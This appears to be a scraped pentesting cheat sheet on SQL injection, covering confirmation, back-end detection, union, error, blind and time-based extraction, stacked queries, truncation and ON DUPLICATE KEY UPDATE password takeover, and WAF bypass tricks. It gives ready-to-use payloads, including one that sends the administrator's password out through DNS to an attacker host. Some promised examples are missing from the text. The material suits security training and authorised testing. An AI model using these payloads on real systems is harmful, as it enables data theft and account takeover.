SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour.\
In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. (From [here](https://portswigger.net/web-security/sql-injection)).
> In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.
You may have found a site that is **apparently vulnerable to SQL**i just because the server is behaving weird with SQLi related inputs. Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.**\
Then, you need to know how to **fix the query so there isn't errors**. In order to fix the query you can **input** data so the **previous query accept the new data**, or you can just **input** your data and **add a comment symbol add the end**.
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\
In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_.
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_**functions** of the previous section or these ones:
If you can see the output of the query this is the best way to exploit it.\
First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\
Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\
This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Exploiting Time Based SQLi
In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing).
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries:
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
* **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
The database will **check** if the introduced **username****exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check _[_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)__
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```
### Extract information
#### Creating 2 accounts at the same time
When trying to create a new user and username, password and email are needed:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
It’s possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Or using a **comma bypass**:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
